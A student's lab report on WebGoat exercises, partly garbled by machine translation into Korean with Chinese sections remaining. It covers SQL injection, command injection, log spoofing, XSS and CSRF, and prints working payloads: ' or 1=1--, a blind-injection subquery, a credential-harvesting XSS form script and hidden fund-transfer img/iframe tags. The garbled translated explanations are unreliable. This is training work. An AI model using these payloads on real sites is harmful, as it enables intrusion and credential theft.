네트워크 기술 20165324 Exp9에 대한 2018-2019-2 : 웹 보안 필수

네트워크 기술 20165324 Exp9에 대한 2018-2019-2 : 웹 보안 필수

실험 수업에서

  • 콘텐츠 개요를 실험
    • Webgoat 준비
    • SQL 주입 공격
    1. 명령 주입 (명령 주입)
    2. 디지털 형 임플란트 (숫자 SQL 인젝션)
    3. 속이는 로그인 (로그인 스푸핑
    4. SQL 주입 (LAB : SQL 주입)
    5. 문자열 주입 (문자열 SQL 주입)
    6. 블라인드 숫자 주입 (블라인드 숫자 SQL 인젝션)
    • XSS 공격
    1. XSS 钓鱼 (XSS와 피싱)
    2. 저장 형 XSS 공격 (저장 XSS 공격)
    3. 반사 XSS 공격 (XSS 공격을 반영)
    • CSRF 공격
    1. CSRF (크로스 사이트 요청 위조 (CSRF))
    2. 우회 CSRF 승인 (CSRF 프롬프트 바이 패스)
  • 기본 질문에 대답
    • SQL 인젝션 공격은 어떻게 방어
      • 원리 : SQL 주입 취약점 데이터베이스 쿼리 처리가 존재하는 백엔드 웹 응용 프로그램의 보안 취약점을 의미합니다. 즉, 임베디드 SQL은 설계 과정에서 공격을 구성 할 수있다 특별한 문자열을 확인에서, 입력 문자열에서 명령입니다. 정상적인 SQL 명령은 심지어 데이터베이스 백엔드 손상 같은 심각한 결과를 초래 각종 동작을 수행하기 위해 백 엔드 데이터베이스를 달성하기 위해 통상적으로 실행 가능한 백 엔드 데이터베이스 간주되면
      • 방어 : 끄거나 제거 불필요한 대화 형 양식 페이지를 제출, 감염 방지하기 위해 서버 측에서 백업 파일을 배치하지 않거나 백업 파일이 원인이 허점을 포함, 일반 사용자 및 시스템 관리자 사용자 권한이 엄격한 구별이 진입 점.
    • 원리 XSS 공격을 어떻게 방어
      • 원리 : 공격자는 사용자가 페이지를 방문 할 때 HTML 태그 또는 자바 스크립트 코드에서 악의적 인 웹 페이지를 삽입, 또는 특정 작업을 수행하기 위해, 공격자는 원래 사이트에서 사용자의 신뢰를 악용하거나 브라우저가 몇 가지 안전하지 않은 작업을 수행하는 사용자를 속여하거나 다른 사이트로 사용자의 개인 정보를 제출합니다.
      • 국방 방법 : 웹 개발자는 이스케이프 문자 안전한 같은 도구를 사용하여 특수 문자를 테스트하기 위해 제출 한 사용자가 입력 한 데이터의 형태로 믿지 않는 시간의 원칙을 준수, 입력 상자의 길이를 제한 할;
    • CSRF 어떻게 방어하는 원리를, 공격
      • 원리 : CSRF이 거짓 로그인합니다. 크로스 사이트 위조 요구의 핵심 본질은 사용자 세션을 도용하거나, 쿠키, 현재의 상황 주류하기 때문에> 세션 쿠키에있는 존재이다. 사용자가 로그인하면, 세션이기 때문에 공격자는 피해자의 특정 계정과 암호에 대해 상관하지 않는다 유일한 증거 사용자가 한 세션을 얻을 수있는 공격자로, 서버에 피해자로 위장 할 수있다. 주로 경우 확인 후, 사이트 a를 액세스하기 위해 사용자 이름과 암호를 입력, 사이트 A는 쿠키 정보 및 반환, 이번에는 웹 사이트를 방문을 생성 성공적인 웹 사이트는 일반적으로 A.에 요청을 보낼 수 있습니다 출구 사이트는 다른 접근 A, B가 아닌 전에 사이트 B는 웹 사이트 A를 일부 공격 코드 및 액세스를 요청을 반환 할 수 있습니다, 따라서 사이트 B의 요청에 요청 사이트 A에 웹 사이트 그러나 요청이 악성 모르는, 그래서 악성 코드를 실행합니다
      • 국방 방법 : 토큰이 일치하지 않는 경우 토큰을 사용하여, 각 페이지가 생성 웹 서버 토큰, 서류 정리의 시간도 서버에 제출 된 토큰을 포함, 서버, 공격이 CSRF 것으로 판단 결정, 제출 방법 정기적으로 청소 쿠키, 게시, 또는 단지 서버 측 자원을 변경하지 않고 검색 할 수있는 GET 요청에 의해 대체되었습니다.
  • 실험과 경험을 요약
    • 나 자신을 발견 실험 콘텐츠 네트워크 공격에 새로운 지식을 많이 배우고 연구의 많은 부분이 충분히 철저 아니었지만 방어 또한 깊은 이해와 경험을 가지고 있지만, 그들은 여전히 ​​많은 기반으로 콘텐츠를 제어, 그것은 매우 보람입니다.

내용 9.1 : WebGoat

  • 설명 : WebGoat는 OWASP 조직이 취약점은 웹 애플리케이션에 존재하는 보안을 설명하기 위해 웹 애플리케이션 취약점 실험을위한 플랫폼을 개발한다. 크로스 사이트 스크립팅 공격 (XSS), 액세스 제어, 보안 실, 운영 숨겨진 필드, 매개 변수 조작, 약한 세션 쿠키 : 자바 가상 머신 플랫폼에서 실행 WebGoat, 현재를 포함하여 30 개 이상의 교육 과정을 제공 , SQL 블라인드, 등 디지털 형 SQL 주입, SQL 주입 문자열, 웹 서비스, 오픈 인증 실패, 위험한 HTML 주석과. WebGoat는 웹 보안을 배울 수있는 튜토리얼의 시리즈를 제공하며, 일부 코스는 또한 비디오 프리젠 테이션 부여, 공격에이 취약점을 악용 할 수있는 사용자를 안내합니다.

  • 다운로드 webgoat 컨테이너-7.0.1-war- exec.jar의 파일
  • 포함하는 파일의 디렉토리에있는 명령 java -jar webgoat-container-7.0.1-war-exec.jar을 실행 Webgoat는 메시지가 나타납니다 Starting ProtocolHandler ["http-bio-8080"]설명 열기를, 당신이 점령 포트 8080을 볼 수 있습니다, 실험 터미널을 닫을 수 없습니다.

  • 브라우저 입력에서 http://localhost:8080/WebGoat직접 기본 사용자 이름과 암호를 사용하여 WebGoat 로그인 인터페이스에 로그인합니다. (페이지 잘못된 경우, 아마 버전이 호환, 참조 링크되지 않습니다 JDK : https://www.jianshu.com/p/9ec7838411c8 )

내용 9.2 : SQL 주입 공격 (삽입 취약점)

1. 분사 지령 (명령 인젝션)

  • 원리 : 제출 프로세스가 정상 매개 변수 명령을 실행하는 악성 코드를 추가합니다.

  • 목표 : 당신은 대상 호스트에있는 모든 시스템 명령을 실행할 수 있습니다

- 작업 방법 :

  • 페이지를 마우스 오른쪽 버튼으로 클릭 선택 inspect Element소스 코드, 상자에 코드의 열을 수정할 검토 페이지 요소를 선택하고 마우스 오른쪽 버튼을 클릭 한 Edit At Html추가, 수정 "& netstat -an & ipconfig".

  • 보기를 클릭, 당신은 네트워크 포트 사용 및 명령의 IP 주소가 실행 볼 수 있습니다. 성공적인 공격!

2. 디지털 타입의 임플란트를 (숫자 SQL 인젝션)

  • 원리 : 역 필드에 주입 기능 문자, 새로운 SQL 문에 결합했다.
    예를 들면 : weather_data FROM *을 선택 WHERE 역 = [기지국]

  • 목적 :이 예는 SQL 주입 문자열을 통해 모든 기상 데이터를 볼 수 있습니다.

  • 방법 :
    선택 페이지에서 마우스 오른쪽 단추로 클릭하고 inspect Element, 소스 코드를 수정하기 위해 검토 페이지 요소를 값 값 선택한 도시에 번호를 추가 or 1=1.

  • 날씨는 모든 도시를 보여, 공격이 성공!

3. 로그 속이는 (로그인 스푸핑)

  • 원리 : 로그 파일에 인간의 눈을 속일, 공격자가 로그에 자신의 흔적을 지우려면이 방법을 사용할 수 있습니다
  • 대상 : 회색 영역의 내용을 기록 웹 서버의 로그를 대표하는, 우리의 목표는 로그에 사용자 이름은 "관리자"사용자 "성공 로그인"을 사용하는 것입니다
  • 작동 방법 :
    • 전제 : 제목은 사용자 입력을 사용자 이름을 사용하고 로그 파일에 추가합니다.
    • 캐리지 리턴 (0D %)로와 줄 바꿈 (%의 0A)를 사용하여 사용자 이름을 기입hcj%0d%0aLogin Succeeded for username: admin

4. SQL 인젝션 (LAB : SQL 인젝션)

  • 1 단계 : 사출 문자열 (1 단계 : 문자열 SQL 주입)
  • 원리 : 문자열을 주입하여 인증을 생략

  • 작동 방법 :
    • 페이지를 마우스 오른쪽 버튼으로 클릭 선택 inspect Element소스 코드를 수정하기 위해 검토 페이지 요소를 20로 변경 암호 상자 암호의 최대 길이를 제한합니다.

- 以用户Smith 登录,输入密码```Smith' or 1=1--```
- 得到所有人员列表,攻击成功!

  • 3 단계 : 숫자 SQL 주입 (3 단계 : 숫자 SQL 주입)

  • 원리 : 일반 직원 계정으로, 수치 데이터 주입 인증을 우회하여, 보스의 사용자 정보를 확인.

  • 작동 방법 :
    • 사용자 이름 래리 래리 클릭 로그인 암호에 로그온 ViewProfile은 사용자 정보를 보려면 클릭
    • 페이지를 마우스 오른쪽 버튼으로 클릭 요소 요소는 소스 코드를 검토 검사 페이지를 선택, 우리는 인덱스가 직원 ID를 기반으로 볼 수있는, 아마도 그것은 첫 번째 쿼리 데이터마다 돌아왔다.
    • 직원 ID의 값이 변경 때문에, 가장 높은 임금해야 사회 공학의 감독에 의해 설명 101 or 1=1 order by salary desc, 그래서 데이터에 대한 첫 번째 쿼리와 같은 정보 소유자.
    • 보스의 계정 정보를 얻을, 공격이 성공!

주입 문자열 (문자열 SQL 주입)

  • 원리 : 다음 쿼리를 기반으로 자신의 SQL 주입 문자열을 구성합니다.
SELECT * FROM user_data WHERE last_name = '?' 
  • 목표 : 다음 표는 사용자가 자신의 신용 카드 번호를 볼 수 있습니다. 모든 신용 카드 정보를 제공하는 SQL 주입 시도가 표시됩니다. 사용자 이름이 "스미스"입니다보십시오.

  • 작동 방법 :
    • 정상적인 상황 하에서 만하면 신용 카드 번호에 해당하는 사용자 이름을 쿼리
    • 쿼리를 사용자 이름을 입력합니다 Smith' or 1=1--(스미스와 조건이되고있다 (1) = 1 개 쿼리 및 1 = 1 신원, 그것은 내부의 모든 데이터 테이블을 조회 할 수 있습니다)
    • 得到所有用户的信用卡号码,攻击成功!

6. 数字型盲注入(Blind Numeric SQL Injection)

  • 原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。

  • 目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。

  • 操作方法:
    • 本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;
    • 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。

    • 针对查询语句的后半部分构造复杂语句,如:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364

内容9.3:XSS攻击

  • 跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。

1. XSS 钓鱼(Phishing with XSS)

  • 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
  • 目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

  • 操作方法:
    • 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
      • 受害人填写一个表格;
      • 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
        编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
    • 编写一个带用户名和密码输入框的表格
//脚本
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

2. 存储型XSS攻击(Stored XSS Attacks)

  • 原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

  • 目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

  • 给用户发一个信息,用户在打开这个信息的时候触发了隐藏在信息里面js代码,然后被盗走了cookies

3. 反射型XSS攻击(Reflected XSS Attacks)

  • 原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。

  • 目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击

  • 操作方法:

    • 输入代码<script>alert("hello20165324");</script>,点击purse的同时页面就给出了反馈

内容9.4:CSRF攻击

1. 跨站请求伪造(Cross Site Request Forgery (CSRF))

  • 操作方法:
    • 查看页面右侧Parameters中的src和menu值,分别为276和900

- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack Screen=267&menu=900&transferFunds=5000" width="1" height="1" />

,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
- 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

2. 绕过 CSRF 确认( CSRF Prompt By‐Pass)

  • 操作方法:

    • 查看页面右侧Parameters中的src和menu值分别为276和900
    • 并在title框中输入学号,message框中输入代码:
    <iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>
    • 在Message
      List中生成以Title命名的链接,点击进入后,攻击成功。

추천

출처www.cnblogs.com/20165324hcj/p/10925491.html